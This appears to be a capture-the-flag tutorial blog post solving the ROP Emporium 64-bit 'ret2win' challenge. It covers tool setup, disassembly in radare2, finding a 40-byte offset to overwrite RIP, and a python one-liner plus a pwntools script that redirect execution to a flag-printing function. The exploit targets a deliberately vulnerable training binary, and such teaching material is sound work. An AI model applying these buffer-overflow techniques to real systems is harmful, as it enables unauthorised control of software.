I am starting the 365 Days of Pwn blog series with 64bit ROP Emporium challenges. 64bit is of course what modern systems use which is why we want to start here, 32bit is great for CTFs and specialist areas of research but we want to stick with 64bit as much as possible to make sure we have the skillset to keep up with pwning modern tech.
What is Return Oriented Programming (ROP)?
Return-oriented programming (ROP) is a computer security exploit technique that allows an attacker to execute code in the presence of security defenses such as executable space protection and code signing.
In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”. Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.
First you need to download the challenge zip file, unzip it and go into challenge folder..
At this point, we also need to make sure we have the right toolset for the job. This is what we will need to install…
radare2 is, amongst many other things; a disassembler, debugger and binary analysis tool. It’s absurdly powerful and you have more or less everything you need to complete the challenges on this site entirely within the radare2 framework. It’s actively developed and you can find more detail on their github page which also hosts a cheatsheet.
apt-get install git
git clone https://github.com/radare/radare2
#Check it's working
Standalone gadget finder written in Python, can also display useful information about binary files. Check out the github page for more information.
apt install python-pip
pip install ropper#Check it's working
Powerful CTF framework written in Python. Simplifies interaction with local and remote binaries which makes testing your ROP chains on a target a lot easier. Check out the github page. After solving this site’s first ‘ret2win’ challenge, consider browsing an example solution written by the developer/maintainer of pwntools.
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools
PEDA — Python Exploit Development Assistance for GDB
git clone https://github.com/longld/peda.git ~/pedaecho "source ~/peda/peda.py" >> ~/.gdbinitecho "DONE! debug your program with gdb and enjoy"
Perfect, now we should have all we need. Let’s get started.
Now let’s unzip the target binary
#Check it works
First I like to fire up radare2 and peek inside so I get an idea of what I am looking at and how complex it is under the hood.ret2win — r2
Recorded by int0x33asciinema.org
#You will be dropped in to radare2 pseudo shell, type aaaa to analyse
#Now lets look under the hood
0x004005a0 3 26 sym._init
0x004005d0 1 6 sym.imp.puts
0x004005e0 1 6 sym.imp.system
0x004005f0 1 6 sym.imp.printf
0x00400600 1 6 sym.imp.memset
0x00400610 1 6 sym.imp.__libc_start_main
0x00400620 1 6 sym.imp.fgets
0x00400630 1 6 sym.imp.setvbuf
0x00400640 1 6 sub.__gmon_start_400640
0x00400650 1 41 entry0
0x00400680 4 50 -> 41 sym.deregister_tm_clones
0x004006c0 4 58 -> 55 sym.register_tm_clones
0x00400700 3 28 sym.__do_global_dtors_aux
0x00400720 4 38 -> 35 entry.init0
0x00400746 1 111 sym.main
0x004007b5 1 92 sym.pwnme0x00400811 1 32 sym.ret2win
0x00400840 4 101 sym.__libc_csu_init
0x004008b0 1 2 sym.__libc_csu_fini
0x004008b4 1 9 sym._fini
[0x00400650]> pdf @ main
[0x00400650]> pdf @ sym.pwnme
[0x00400650]> pdf @ sys.ret2win
At this point, because it’s a return oriented programming challenge and we found the code we need in ret2win function, we can be almost sure this is what we are targeting.
Next up we want to know the offset we need to overwrite the instruction pointer, unlike 32 bit challenges where we want EIP, in this case we want RIP, let’s try the classic pattern offset generator…
#You will now be in the gdb pseudo shell
#Now run the binary
#The program will prompt for input, copy the pattern and enter it
You will now be presented with the helpful peda dashboard full of important and useful information, let’s take a look…
Now we can use the useful pattern_search to find our offset. In 64 bit programs we see RIP doesn’t contain our sequence. In 64 bit, it will not pop a value into RIP if it cannot actually jump to and execute at that address. So the value is technically sitting at the top of the stack after popping it into RIP failed, so we get our value from RSP. As you can see above, the value of RSP at the time of the segfault was “AA0AAFAAb”.
Now, let’s pattern offset to find out how much padding we need…
gdb-peda$ pattern offset AA0AAFAAb
AA0AAFAAb found at offset: 40
Now we have all the pieces we need, the amount of padding needed to overwrite RIP and also the address we need to jump to.
Let’s see if our theory is correct…
python -c 'print "\x90"*40 + "\x11\x08\x40\x00\x00\x00\x00\x00\x00"' | ./ret2win
Let’s break down the POC..
This is used to run a python command, in this case we are simply printing a value.
Now we are printing the offset we need, in this case a NOP sled of 40 bytes.
This is the address of ret2win in little-endian format aka backwards with some padding as it's a 64bit address so it's our 4 byte address with 4 bytes of padding.
It's all wrapped in single quotes to make it execute as a single command...
python -c 'print "\x90"*40 + "\x11\x08\x40\x00\x00\x00\x00\x00"'
Then we simply pipe the output to our binary...
python -c 'print "\x90"*40 + "\x11\x08\x40\x00\x00\x00\x00\x00"' | ./ret2win
We didn’t just download it for fun, let’s make a nice little payload script…
from pwn import *
# Set up pwntools to work with this binary
elf = context.binary = ELF('ret2win')
# Print out the target address
info("%#x target", elf.symbols.ret2win)
# Send the payload
io = process(elf.path)
ret2win = p64(elf.symbols.ret2win)
payload = "A"*40 + ret2win
io.recvuntil("Here's your flag:")
# Get our flag!
flag = io.recvline()
We can see it works great…ret2win pwntools exploit demo
Recorded by int0x33asciinema.org
And just to make sure this would not work just by running as root, we change the payload to have 50 bytes of padding rather than 40, as expected it crashed which is great. We know our exploit works as intended and it’s not a normal condition which will always be true.Defect Payload
Recorded by int0x33asciinema.org
Next time we work with pwntools we will automatically work out the offset and automate more of the exploit development process.